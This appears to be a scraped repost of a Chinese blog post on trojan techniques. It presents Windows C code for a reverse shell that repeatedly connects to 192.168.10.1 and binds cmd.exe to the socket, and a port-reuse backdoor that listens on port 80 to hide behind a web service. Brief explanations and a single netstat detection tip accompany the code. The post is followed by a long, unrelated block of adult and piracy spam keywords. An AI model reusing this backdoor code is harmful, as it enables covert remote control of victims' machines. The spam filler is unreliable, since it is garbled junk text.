sock = WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);sin.sin_family = AF_INET; sin.sin_port = htons(444); sin.sin_addr.s_addr = inet_addr("192.168.10.1");while( connect(sock, (struct sockaddr*)&sin, sizeof(sin)) )Sleep(30000);si.hStdInput = si.hStdOutput = si.hStdError = (void*)sock; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);

分析:

這段代碼先建立一個客戶端socket , 通過connect 可以主動連接,while語句和sleep語句讓木馬

每個3秒嘗試反彈一次shell,如果連接成功,創(chuàng)建一個cmd.exe進程并將輸入輸出定向到該socket

?

端口重用技術(shù):

原理:

當(dāng)服務(wù)器的一個服務(wù)監(jiān)聽了一個端口,那么這個端口就不能被其他程序再使用了,但是Socket有一項技術(shù)

可以使得端口被重用,一旦端口被重用,防火墻放行的端口就成為了木馬的監(jiān)聽端口。

代碼:

WSAStartup(MAKEWORD(2,2), &wsa); ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("192.168.10.1"); sinSize = sizeof(sin);bind(ssock, (sockaddr*)&sin, sinSize); listen(ssock, 2); csock = accept(ssock, (sockaddr*)&sin, &sinSize);ZeroMemory(&si, sizeof(si)); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void*)csock; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);

分析:

端口復(fù)用技術(shù)主要是通過 setsockopt函數(shù) 來設(shè)置端口復(fù)用, SO_REUSEADDR設(shè)置后就可以重用端口了。

另外上面代碼需要注意的是監(jiān)聽地址不是 0.0.0.0 ,也就是說如果使用 192.168.10.1 地址訪問看到的就是

木馬,但如果是用 127.0.0.1 去訪問看到的就是web網(wǎng)站。

防范:

netstat -ano 可以看到有兩條不同的監(jiān)聽地址相同的監(jiān)聽端口在等待監(jiān)聽。

?

轉(zhuǎn)載于:https://www.cnblogs.com/demonxian3/p/9834694.html

總結(jié)

以上是生活随笔為你收集整理的木马技术的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

成人av在线影视 | 久久久夜色 | 91高清完整版在线观看 | 久久久久久国产精品亚洲78 | 黄色三级免费 | 国产精品mv | 超碰公开97| 一区二区视频电影在线观看 | 国产成人精品三级 | 日韩在线首页 | 亚洲一级二级 | 欧美在线观看禁18 | 三级大片网站 | 精品色999| 在线观看视频中文字幕 | 国产91精品一区二区麻豆亚洲 | 天天干亚洲 | 国产成人精品三级 | 日韩中文字幕免费电影 | 国产精品v a免费视频 | 九九久久免费视频 | 久久精品91视频 | 伊人国产在线播放 | 免费看高清毛片 | 91中文字幕一区 | 六月丁香六月婷婷 | 精品久久久久久电影 | 97国产 | 日韩激情一二三区 | 国产精品丝袜久久久久久久不卡 | 久草a视频 | 波多野结衣视频一区 | 中文字幕国产视频 | 国产97视频 | 99视频国产精品 | 九九综合在线 | 波多野结衣久久资源 | 国产精品欧美一区二区三区不卡 | 国产午夜精品一区二区三区四区 | 国内精品美女在线观看 | 一级片视频在线 | 碰超在线观看 | 91在线观看视频 | 99c视频在线 | 在线视频欧美亚洲 | 日韩在线观看三区 | 日韩高清一区二区 | av成人亚洲 | 国产不卡免费视频 | 久久精品视频中文字幕 | 久久视屏网 | av观看在线观看 | 欧美日韩免费视频 | 色哟哟国产精品 | 国产视频精品久久 | 国产日本亚洲高清 | 国产高清不卡一区二区三区 | 九九99靖品 | 亚洲国产资源 | 中文字幕资源在线观看 | 国外av在线| 在线观看成人网 | 亚洲精品福利视频 | 美女网站免费福利视频 | 中文字幕乱码一区二区 | 亚洲国产黄色 | 欧美一区二区精品在线 | 天天射天天操天天 | 亚洲国产精品第一区二区 | 国产精品麻豆视频 | 色婷婷视频在线 | 免费v片 | 免费网站在线 | 99久久日韩精品视频免费在线观看 | 欧美色一色 | 国产超碰在线 | 国产另类xxxxhd高清 | 久久久精品国产免费观看同学 | 日韩精品免费 | 免费成人黄色av | av黄色影院 | 黄色毛片视频免费 | 97综合网 | 国产视频一区在线 | 四虎影视久久久 | 午夜精品久久久久久久久久久久 | 日韩天天综合 | 中文字幕在线乱 | 日本黄色大片儿 | 国产原创av在线 | 午夜少妇| 免费观看完整版无人区 | 免费日韩一级片 | 国产精品一区二区av日韩在线 | 免费毛片aaaaaa | 久久国产剧场电影 | 免费看黄电影 | 91精品国产高清 | 丁香婷婷激情网 | 亚洲精品免费观看视频 | 久久在线视频精品 | 深爱五月激情网 | 亚洲视频精品 | 91精品中文字幕 | 国产综合久久 | 国产中文伊人 | 91成人免费看片 | 在线韩国电影免费观影完整版 | 天天色综合三 | 国产女人18毛片水真多18精品 | 国产精品岛国久久久久久久久红粉 | 国产一二三区在线观看 | 黄污视频网站 | 精品国产1区2区3区 国产欧美精品在线观看 | 欧美激情精品久久久久久 | 久久夜色精品国产欧美乱 | 成人黄视频 | 五月天com | 国产精品美女久久久网av | 国产精品高潮呻吟久久久久 | 精品国产人成亚洲区 | 欧美激情综合色综合啪啪五月 | h视频在线看 | 最近中文字幕免费大全 | 国产精品第三页 | 色网站视频| 高清国产午夜精品久久久久久 | 天天干天天色2020 | 久久精品国产亚洲精品 | 免费黄色在线网站 | 日韩精品免费 | 国产美女在线精品免费观看 | 高清精品视频 | 中文资源在线观看 | 亚洲精品影视在线观看 | 又色又爽又黄高潮的免费视频 | 国产一区二区成人 | 伊人伊成久久人综合网小说 | 综合天堂av久久久久久久 | 四虎影视精品 | 中文字幕第一页在线播放 | 中文亚洲欧美日韩 | 91伊人久久大香线蕉蜜芽人口 | 黄色小网站免费看 | 色综合久久久久久中文网 | 永久免费的啪啪网站免费观看浪潮 | 精品电影一区 | 国内外成人免费在线视频 | 午夜久久电影网 | 五月色丁香 | 亚洲japanese制服美女 | 国产中文字幕在线播放 | 国产精品一区二区久久 | 五月婷婷激情综合 | 日本不卡一区二区三区在线观看 | 92精品国产成人观看免费 | 久久人人97超碰国产公开结果 | 欧美激情视频一区二区三区免费 | 国产精品视频专区 | 国产成人免费在线观看 | a久久免费视频 | 亚洲综合丁香 | 国产精品久久久久久久久久白浆 | 国模精品一区二区三区 | 日韩在线观看你懂的 | 日韩免费三区 | 亚洲高清视频在线观看免费 | 中文字幕一区二区三区四区 | avav99| 成人精品一区二区三区电影免费 | 欧美亚洲三级 | 久久综合狠狠综合久久综合88 | 中文字幕在线免费 | 成年人在线观看视频免费 | 天天色天天草天天射 | 国产手机视频在线 | 亚洲综合色播 | 精品毛片一区二区免费看 | 亚洲午夜久久久综合37日本 | 欧美国产精品久久久久久免费 | 播五月婷婷 | 香蕉视频导航 | 久草在线免 | 久久久久免费 | 天天操天天艹 | 999久久久免费精品国产 | 久久精品久久精品久久 | 午夜久操 | 中文字幕一区二区三区四区在线视频 | av高清免费| 欧美精品久久久久久久亚洲调教 | 在线一级片 | 久久另类小说 | 在线三级播放 | 天天色天天色 | 五月天久久综合网 | 色婷婷久久久综合中文字幕 | 五月网婷婷| 国产在线观看你懂的 | 午夜日b视频 | 日韩免费一级电影 | 天海翼一区二区三区免费 | 欧美一区二区日韩一区二区 | 香蕉视频在线观看免费 | 成年人国产在线观看 | 激情五月视频 | 久久精品视频2 | 欧美成人在线网站 | 国产一二三四在线视频 | 一区免费在线 | 国产精品1区2区3区在线观看 | 在线观看亚洲免费视频 | 99精品免费久久久久久久久日本 | av黄色在线播放 | 日韩精品一区二区久久 | 狠狠色噜噜狠狠狠狠2022 | 国产中文字幕网 | 国产成人三级在线播放 | 中文字幕观看在线 | 人人射人人爽 | 成年人视频免费在线播放 | 国产自产在线视频 | 天天插天天干 | 成人动漫一区二区三区 | 亚洲一区二区精品视频 | 在线视频久久 | 国产丝袜 | 97香蕉视频| 婷婷成人在线 | 欧美日韩国产一区 | 视频国产精品 | 日本黄色免费在线观看 | 免费在线一区二区 | 西西4444www大胆无视频 | 蜜臀aⅴ精品一区二区三区 久久视屏网 | 蜜臀av性久久久久av蜜臀妖精 | 91成人精品一区在线播放 | 久久99九九99精品 | 福利视频网址 | 亚洲欧洲国产日韩精品 | 精品亚洲视频在线观看 | 香蕉影视 | 91丨porny丨九色 | 国产精品免费观看视频 | 亚洲日韩欧美一区二区在线 | 丝袜美腿一区 | 中文字幕成人在线 | 国产精品久久久久久久久久久久冷 | 亚洲视频网站在线观看 | 亚洲欧美精品在线 | 婷婷国产视频 | 中文字幕在线观看视频一区二区三区 | 日韩欧美一区二区三区在线 | 91中文字幕永久在线 | 国产精品久久久久久久久久久久久久 | 欧美激情va永久在线播放 | 久久精品久久久精品美女 | 日本精品久久久久影院 | 欧美美女激情18p | 夜夜夜夜爽 | 国产亚洲va综合人人澡精品 | 国产手机在线观看 | 三级黄色在线观看 | 午夜精品一区二区三区免费视频 | 久久黄色免费观看 | a在线免费 | 亚洲精品视频中文字幕 | 欧美久久影院 | 五月花丁香婷婷 | 国内精品久久久久久中文字幕 | 四虎伊人| 精品久久网 | 男女免费av | av电影不卡 | 国产精品久久久久一区二区三区 | 国产日韩视频在线观看 | 欧美国产日韩一区二区三区 | 波多野结衣精品视频 | 九9热这里真品2 | 免费电影一区二区三区 | 精品国产精品国产偷麻豆 | 狠狠狠狠狠操 | 中文字幕在线视频一区二区 | 国产黄网站在线观看 | 久久久久亚洲天堂 | 中文字幕人成不卡一区 | 久久激情网站 | 久久综合九色综合97_ 久久久 | 婷婷网址| 国内精品国产三级国产aⅴ久 | 亚洲国产播放 | 国产毛片久久 | 欧美91精品久久久久国产性生爱 | 免费观看丰满少妇做爰 | 中文理论片 | 在线观看精品一区 | 精品视频中文字幕 | 国产视频2021 | 国产va在线观看免费 | 亚洲一区免费在线 | 亚洲国内精品在线 | 狠狠狠综合 | 麻豆手机在线 | 国产69精品久久久久久 | 伊人春色电影网 | 黄色大片av| 成年人视频免费在线播放 | 24小时日本在线www免费的 | 91视频 - 114av| 国产成人精品av久久 | 日产乱码一二三区别在线 | 精品网站999www| 国产小视频91 | 国产麻豆视频免费观看 | 91丨九色丨勾搭 | 99热在线国产 | 超碰夜夜| 激情 亚洲| 欧美性生活一级片 | 欧美韩国日本在线观看 | 成人国产一区二区 | av中文字幕在线播放 | 天天干,天天射,天天操,天天摸 | 少妇性色午夜淫片aaaze | 黄色片软件网站 | 精品久久免费 | 午夜精品三区 | 国产人成在线观看 | www日日| 亚洲一区 影院 | 在线黄网站 | 天堂久色 | 最新日韩在线观看视频 | www.成人sex | 香蕉视频网站在线观看 | 免费视频成人 | 狠狠狠操 | 国产精品1024 | 亚洲欧洲中文日韩久久av乱码 | 中文字幕a在线 | 国产999| www.一区二区三区 | 国产精品毛片完整版 | 欧美9999 | 国产探花在线看 | 爱情影院aqdy鲁丝片二区 | 国产精品国产亚洲精品看不卡 | 中文在线资源 | 日韩欧美69| 91精品国产成人观看 | 91一区啪爱嗯打偷拍欧美 | 97超碰国产精品女人人人爽 | 国产亚洲久久 | 国产亚洲精品美女 | 白丝av免费观看 | 中文字幕一区二区三区四区 | 欧美激情片在线观看 | 国产精品中文字幕av | 精品久久久久久综合日本 | 日韩精品一区二区三区免费观看视频 | 国产亚洲一区二区在线观看 | 久久精美视频 | 国产精品久久久久永久免费看 | 六月激情丁香 | 天堂av免费观看 | 久久人人精| 久久久久久不卡 | 伊人天天干 | 国产99久久精品 | 一级片视频免费观看 | 日韩欧美久久 | 国产欧美精品一区二区三区 | 亚洲黄色一级电影 | 国产精品女人久久久 | 99riav1国产精品视频 | 日日夜夜噜 | 婷婷四房综合激情五月 | 玖玖精品在线 | av资源在线观看 | 在线免费黄色毛片 | 五月婷婷天堂 | 欧美极品xxxxx | 天天干天天操天天入 | 最新日韩视频 | 国产精品一区二区免费视频 | www.五月天婷婷.com | 久久综合九色综合久99 | 国产亚洲精品久久久久久电影 | 在线国产片 | 久久久这里有精品 | 激情久久影院 | 国产无限资源在线观看 | 一区二区激情视频 | 一级a性色生活片久久毛片波多野 | 国产一性一爱一乱一交 | 亚洲爱视频 | 国产在线久草 | 欧美一区日韩一区 | 国内精品视频免费 | 国产特级毛片aaaaaa | 丁香在线视频 | 国产精品成人免费精品自在线观看 | 黄色毛片在线观看 | 波多野结衣在线视频免费观看 | 久久午夜精品影院一区 | 中文字幕色婷婷在线视频 | 亚洲免费公开视频 | 欧美另类v | 欧美了一区在线观看 | 在线成人一区 | 黄色特级片 | 色婷婷 亚洲 | 国产亚洲资源 | 亚洲一级二级三级 | 国产人成精品一区二区三 | 欧美在线一 | 国产精品久久久久国产a级 激情综合中文娱乐网 | 国产正在播放 | 夜夜操天天 | 天天干.com | 国产精品免费观看久久 | 麻豆一区二区三区视频 | 中文字幕一区在线观看视频 | 一本—道久久a久久精品蜜桃 | 日韩a级免费视频 | 国产精品久久久久高潮 | 免费毛片一区二区三区久久久 | 免费国产在线视频 | 久草在线视频国产 | 日日夜夜精品免费 | 521色香蕉网站在线观看 | 91亚洲精品久久久久图片蜜桃 | 综合色天天 | 亚洲国产免费网站 | 欧美日韩一区二区三区视频 | 九九九热精品 | 色搞搞| 欧美性天天| 久久九九影视网 | 久操伊人 | 99热国内精品 | 久久久久久久久国产 | 五月婷婷开心中文字幕 | 午夜精品久久久久久久99水蜜桃 | 精品v亚洲v欧美v高清v | 麻豆91小视频 | 天天干天天做天天操 | 亚洲成人999 | 成人app在线免费观看 | 国产日韩av在线 | 日本少妇高清做爰视频 | 91精品免费在线 | 久久久男人的天堂 | 国产日韩欧美中文 | 精品三级av| 久久久久综合精品福利啪啪 | 欧美二区视频 | 中文字幕观看视频 | 曰本免费av | 国产最新视频在线 | 久久免费av电影 | 天天爱天天操天天射 | 欧美一级视频免费 | 日本精品二区 | 久草在线手机观看 | 久久久国产精品一区二区中文 | 中文字幕在线观看视频一区 | 五月天激情综合 | 狠狠色狠狠色综合日日小说 | 免费激情在线电影 | 国产一区在线看 | 亚洲精品在线观看的 | 国产精品久久99精品毛片三a | 日批视频在线播放 | 91免费国产在线观看 | 天天曰天天干 | 天天搞天天干天天色 | 成人黄色小视频 | 成人免费共享视频 | 成人福利在线 | 91精品中文字幕 | 亚洲理论片 | 天天干夜夜爽 | 99资源网 | 在线免费亚洲 | 日日夜夜天天久久 | 69av在线播放 | 丁香综合av| 国产精品久久综合 | 欧洲精品在线视频 | 国产高清久久久 | 久久久久久国产精品久久 | 欧美一区在线观看视频 | 色久天 | 久久夜色精品国产欧美乱 | www最近高清中文国语在线观看 | 久久高清视频免费 | 欧美日韩成人一区 | 视频一区视频二区在线观看 | 久久久亚洲成人 | 免费三级影片 | 午夜视频导航 | 在线 成人 | 操操日日| av日韩精品 | 麻豆91在线播放 | 91免费日韩| 日韩资源视频 | 日韩精品不卡在线观看 | 久久99国产精品久久99 | 色综合久久精品 | 麻豆传媒精品 | 99色99 | 成人黄色毛片视频 | 日韩在线观看中文字幕 | 人人舔人人爱 | 国内精品久久久久久久久久 | www日韩欧美 | 丁香视频五月 | 久久精品国产美女 | 国产成人一级 | 国产福利91精品一区二区三区 | 久草99 | 天天爽天天搞 | 激情图片久久 | 亚洲国产色一区 | 国产高h视频 | 在线播放国产精品 | 精品在线小视频 | 黄色大片入口 | 亚洲综合在线一区二区三区 | 999久久久久久久久 69av视频在线观看 | 狠狠操狠狠操 | 91精品国产综合久久福利 | 日韩欧美一区二区在线观看 | 精品欧美一区二区精品久久 | 色天天综合网 | 韩国三级一区 | 久久麻豆精品 | 免费美女久久99 | 久久8精品| 久久久久9999亚洲精品 | 国产视频精选 | 精品亚洲免费 | av九九九| 伊人网站| 99久久999久久久精玫瑰 | 日韩有码在线播放 | 激情网站| 成年人看片网站 | 亚洲精品免费在线视频 | 久久久久在线 | av字幕在线 | 久草视频看看 | 精品国产1区二区 | 色多多污污在线观看 | 中文在线a√在线 | 成人av在线电影 | 国产精成人品免费观看 | 国产精品久久久久久久久久ktv | 国产成人av网 | 日韩激情视频 | 成人国产精品久久久久久亚洲 | 精品视频在线视频 | 久久久精品视频成人 | 精品一二三四五区 | 国产欧美精品一区aⅴ影院 99视频国产精品免费观看 | 在线视频婷婷 | 亚洲成年人在线播放 | 超碰97av在线 | 国产一区在线不卡 | 九九久久久 | 国产色在线,com | 婷婷色婷婷 | 欧美日韩国产免费视频 | 国产成人黄色 | 激情综合五月天 | 亚洲精品小视频在线观看 | 久久免费看av | 久久精品国产亚洲精品 | 日韩免费视频播放 | 中文字幕在线观看完整 | 国产中文视频 | 色av网站| 96亚洲精品久久久蜜桃 | 日韩在线视频一区二区三区 | 最近中文字幕mv | 日韩在线视频播放 | 成年人毛片在线观看 | 日韩激情综合 | 欧美午夜理伦三级在线观看 | 天天射射天天 | 波多野结衣在线播放一区 | 国产精品久久久久久久久毛片 | 在线看av网址 | 国产99久久久欧美黑人 | 欧美精品久久久久久久免费 | 9992tv成人免费看片 | 国产不卡免费视频 | 亚洲视频 一区 | 九九九九九国产 | 欧美一性一交一乱 | 久草在线免 | 成人a毛片| 青青河边草手机免费 | 97超视频在线观看 | 久久国产一二区 | 日日日视频| 国产一区二区成人 | 日本精品视频在线播放 | 在线免费观看羞羞视频 | 色吊丝av中文字幕 | 欧美韩国日本在线 | 久久久久久高潮国产精品视 | 亚洲国产精品推荐 | 超碰日韩 | 人人射人人爽 | 国产一性一爱一乱一交 | 免费亚洲电影 | 毛片3 | 中文字幕人成不卡一区 | 国产精品成人一区二区 | 国产不卡在线观看 | 国产日韩视频在线播放 | 国产精品久久久久久久久岛 | 成人av亚洲 | 国产91粉嫩白浆在线观看 | 亚洲黄色a | 久久国产精品影视 | 免费看wwwwwwwwwww的视频 久久久久久99精品 91中文字幕视频 | 精品美女久久久久 | 国产精品入口66mio女同 | 午夜18视频在线观看 | 日韩va在线观看 | 国产免费不卡av | 欧美激情视频一二区 | 久久久久国产一区二区三区四区 | 日韩激情综合 | 一区三区在线欧 | 啪啪免费视频网站 | 六月丁香在线观看 | 狠狠干成人综合网 | 国产精品久久久久久久久久免费 | 国产精品观看在线亚洲人成网 | 久久精品视频2 | 日韩视频免费播放 | 久久99精品久久久久久秒播蜜臀 | 99视频黄 | 久久国语 | 丁五月婷婷 | 婷婷去俺也去六月色 | aaa免费毛片 | 免费av一级电影 | 久草视频免费在线观看 | 国产成人黄色在线 | 在线观看免费91 | 久久久久久久国产精品 | 国产精品亚洲精品 | 久久久午夜电影 | 精品在线观看视频 | 国产精品高清免费在线观看 | 天天操天天操天天操 | 免费a级黄色毛片 | 日韩大片在线播放 | 99精品小视频 | 99久久精品免费看国产免费软件 | 久久久九九| 亚洲午夜久久久久久久久久久 | 玖玖在线精品 | 久久看毛片 | 亚洲午夜精品在线观看 | 美女网站视频一区 | 在线观看韩国av | 色欲综合视频天天天 | 一级淫片在线观看 | 亚洲精品免费观看视频 | 中文字幕av最新更新 | 免费在线观看日韩视频 | 成人网在线免费视频 | 日本三级香港三级人妇99 | 亚洲aaa毛片 | 在线有码中文 | 欧美日韩视频精品 | 成人欧美在线 | 三上悠亚一区二区在线观看 | 日本久久精品 | 国产精品成久久久久三级 | 中文字幕在线观看完整 | 日韩av快播电影网 | 一区二区精品 | 国产精品久久一区二区无卡 | 中文字幕乱码电影 | 久久久99精品免费观看app | 九九热精品视频在线播放 | 精品国产不卡 | a黄色一级 | 亚洲国产精品电影 | av888av.com| 亚洲黄色免费网站 | 黄色不卡av | 天天综合网久久综合网 | 久久五月激情 | 亚洲人人网 | 成人免费观看视频大全 | 午夜视频99 | 国产精品欧美久久久久三级 | av在线播放一区二区三区 | 精品国产伦一区二区三区观看说明 | 国产专区第一页 | 精品久久电影 | 激情久久久久久久久久久久久久久久 | 一区二区三区久久精品 | 91精品国产欧美一区二区成人 | 国产精品理论片 | 国产高清精品在线观看 | 啪啪免费观看网站 | 中文字幕亚洲精品在线观看 | a在线免费| 中文字幕韩在线第一页 | 精品久久久一区二区 | 国产在线a视频 | 亚洲精品麻豆视频 | 久久精品99北条麻妃 | 91久久精品日日躁夜夜躁国产 | 成人91免费视频 | 精品久久久久国产 | 国产精品电影一区二区 | 97电影手机版 | 深爱激情亚洲 | 2024av| 精品国产诱惑 | 欧美婷婷综合 | 成人av在线电影 | av电影免费 | 亚洲区视频在线观看 | 国产区精品 | 色婷婷88av视频一二三区 | 中文字幕在线观看国产 | 免费日韩 精品中文字幕视频在线 | a级一a一级在线观看 | 欧美日韩视频 | 久久 地址 | 久久黄色网址 | 色婷婷99 | 国产婷婷精品 | 日韩成人免费在线 | 国产欧美精品一区二区三区 | 久久九九网站 | 欧美做受高潮电影o | 国产精品久久久久三级 | 97av视频| 亚洲综合激情小说 | 深夜免费福利网站 | 91精品网站在线观看 | 狠狠的干 | 精品久久网站 | 久草网在线观看 | 精品国产99 | 欧美另类69 | 国产伦理精品一区二区 | 麻豆视频入口 | 日本中文字幕系列 | 免费特级黄毛片 | 特级黄色片免费看 | 久久久久国产精品厨房 | 97视频在线播放 | 人人草在线观看 | 91成人在线视频 | 日韩在线国产精品 | 欧美日比视频 | a天堂一码二码专区 | 免费日韩电影 | 在线中文字幕播放 | 欧美精品在线观看免费 | 国内视频 | 美女黄频免费 | 久久综合九色综合97_ 久久久 | 91视频久久 | av电影久久 | 玖草在线观看 | 欧美影院久久 | 天天搞天天干天天色 | 国产一区私人高清影院 | 在线看片成人 | 成人av电影在线播放 | 91插插插网站| 国产成人精品久久二区二区 | 欧美做受69 | 天海翼一区二区三区免费 | 日韩二三区| 欧美孕妇与黑人孕交 | 黄色影院在线免费观看 | 天天干,夜夜爽 | 一区二区精品视频 | 国产成人333kkk| 国产 字幕 制服 中文 在线 | 最近高清中文字幕 | 国产一级二级三级在线观看 | 狠狠操欧美 | 一区二区欧美在线观看 | 91麻豆产精品久久久久久 | 欧美成人精品欧美一级乱黄 | 五月天激情综合 | 欧美日韩天堂 | 福利视频入口 | 日韩av不卡播放 | 日韩欧美一区二区三区在线观看 | 天天色综合久久 | 99婷婷狠狠成为人免费视频 | 久久久免费毛片 | 91夫妻自拍 | 亚洲精品资源在线观看 | 在线色视频小说 | 日韩视频在线一区 | 伊人国产在线播放 | 99热在线免费观看 | 国产高清成人av | 在线播放精品一区二区三区 | 97视频成人 | av中文电影 | 日韩免费在线视频观看 | 中文字幕亚洲综合久久五月天色无吗'' | 狠狠狠狠狠狠狠 | 2021国产在线 | 欧美91精品国产自产 | www.夜夜操.com | 超碰电影在线观看 | 97电影在线看视频 | 日日综合网 | 免费福利片2019潦草影视午夜 | 久久久久久美女 | 69久久久| 国产看片 色 | 99国产精品| 久久99网站 | 在线观看v片 | 欧美网站黄色 | 欧美天天干 | 黄色在线看网站 | 中文免费 | 91在线视频一区 | 国产免费不卡 | 日韩精品视频网站 | 麻豆视频国产 | 麻豆视频国产 | 国产视频亚洲精品 | 国产精品午夜免费福利视频 | 蜜桃麻豆www久久囤产精品 | 国产91小视频 | 日韩在线观看高清 | 久久调教视频 | 成人亚洲欧美 | 久草视频在线免费 | 国产v在线观看 | 成人作爱视频 | 成人一区二区三区在线观看 | 高清色免费 | 精品欧美日韩 | 久操视频在线播放 | 成年人在线免费看片 | 欧美日本国产在线观看 | 精品国产成人在线影院 | 五月婷婷在线综合 | 96久久精品| 免费成人黄色 | 伊人婷婷激情 | 久久精品国产亚洲aⅴ | 狠狠干天天操 | 国产精品资源在线观看 | 中文字幕视频一区二区 | 在线а√天堂中文官网 | 99午夜| 日韩av不卡播放 | 欧美日韩精品综合 | 国产精品理论在线观看 | 国产一二三在线视频 | 天天鲁天天干天天射 | 91精品国产九九九久久久亚洲 | 久久精品久久99精品久久 | av观看网站| 国内外成人在线视频 | 久久久久久久久爱 | 成人免费视频免费观看 | 国产精品久久久久一区二区 | 伊人手机在线 | 色综合激情久久 | 99久精品视频 | 在线观看视频免费播放 | 亚洲成人黄色在线观看 | 国产精品黑丝在线观看 | 中文字幕超清在线免费 | 99久高清在线观看视频99精品热在线观看视频 | 亚洲狠狠操 | 99热国产在线中文 | 在线免费观看视频一区二区三区 | 久久天天躁狠狠躁亚洲综合公司 | 亚洲片在线资源 | 国产午夜三级一区二区三 | 日韩在线视频在线观看 | 国产午夜精品久久 | 国产麻豆电影在线观看 | 国产成人精品免高潮在线观看 | 日日碰狠狠添天天爽超碰97久久 | 欧美综合干 | 亚洲电影久久久 | 亚洲精品小视频 | 有码中文字幕在线观看 | 久久国产精品免费一区二区三区 | 国产精品久久久久久久久久久免费看 | 国产精品福利视频 | 四虎影视精品永久在线观看 | 久久久久久不卡 | 国产午夜在线 | 伊人天天色 | 亚洲精选视频免费看 | www.激情五月.com| 欧美激情另类 | 在线色亚洲 | 在线观看中文字幕视频 | 欧美日韩精品影院 | 亚洲va综合va国产va中文 | 亚洲国产高清视频 | 美女国产免费 | 最新国产精品久久精品 | 免费在线观看av的网站 | 欧美成人精品在线 | 久久天天拍 | 91精品久久久久久久99蜜桃 | 日日夜夜噜噜噜 | 国产一区二区影院 | 日本韩国精品一区二区在线观看 | 91大片网站| 免费高清男女打扑克视频 | 三级av免费看 | 中文字幕亚洲精品在线观看 | 久久99久久99精品免观看软件 | 西西人体4444www高清视频 | 狠狠干夜夜爱 | 成人av网站在线播放 | 国内精品久久久久国产 | caobi视频| 国模视频一区二区三区 | 国产97超碰 | 天天操比| 五月天久久久久久 | 18网站在线观看 | 亚洲五月花 | 久久综合丁香 | 一区二区三区手机在线观看 | 丁香婷婷色综合亚洲电影 | 国产精品免费一区二区 | 国产精品免费在线播放 | 激情丁香婷婷 | 视频在线观看一区 | 国产又粗又猛又色又黄网站 | 国产精品免费视频网站 | 免费观看一区二区 | 欧美成人一二区 | 91福利视频在线 | 国产午夜在线观看 | 欧美精品中文 | 亚洲欧美日韩一区二区三区在线观看 | 精品少妇一区二区三区在线 | 日韩av片免费在线观看 | 九色91视频| 亚洲精品av在线 | 福利视频一区二区 | 丁香婷婷色综合亚洲电影 | 黄色中文字幕在线 | 欧美极品久久 | 国产麻豆精品久久一二三 | 日日婷婷夜日日天干 | 亚州精品在线视频 | 五月婷综合| 久久人人爽人人片 | 91伊人久久大香线蕉蜜芽人口 | 久草线 | 国产不卡视频在线播放 | 免费看黄视频 | 久久久久久久久久久电影 | 久操久 | 日韩欧美一区二区三区黑寡妇 | 国产精品成人在线观看 | 四虎国产精品免费观看视频优播 | 成人毛片100免费观看 | 国产精品久久久久久高潮 | 五月激情站| 国产精品一区二区三区四 | 四虎精品成人免费网站 | 黄色片亚洲 | 国产热re99久久6国产精品 | 婷婷av网站| 国产第一页在线观看 | 国产精品一区二区免费在线观看 | av成人动漫在线观看 | 精品在线二区 | 久久视频精品在线 | 最新的av网站 |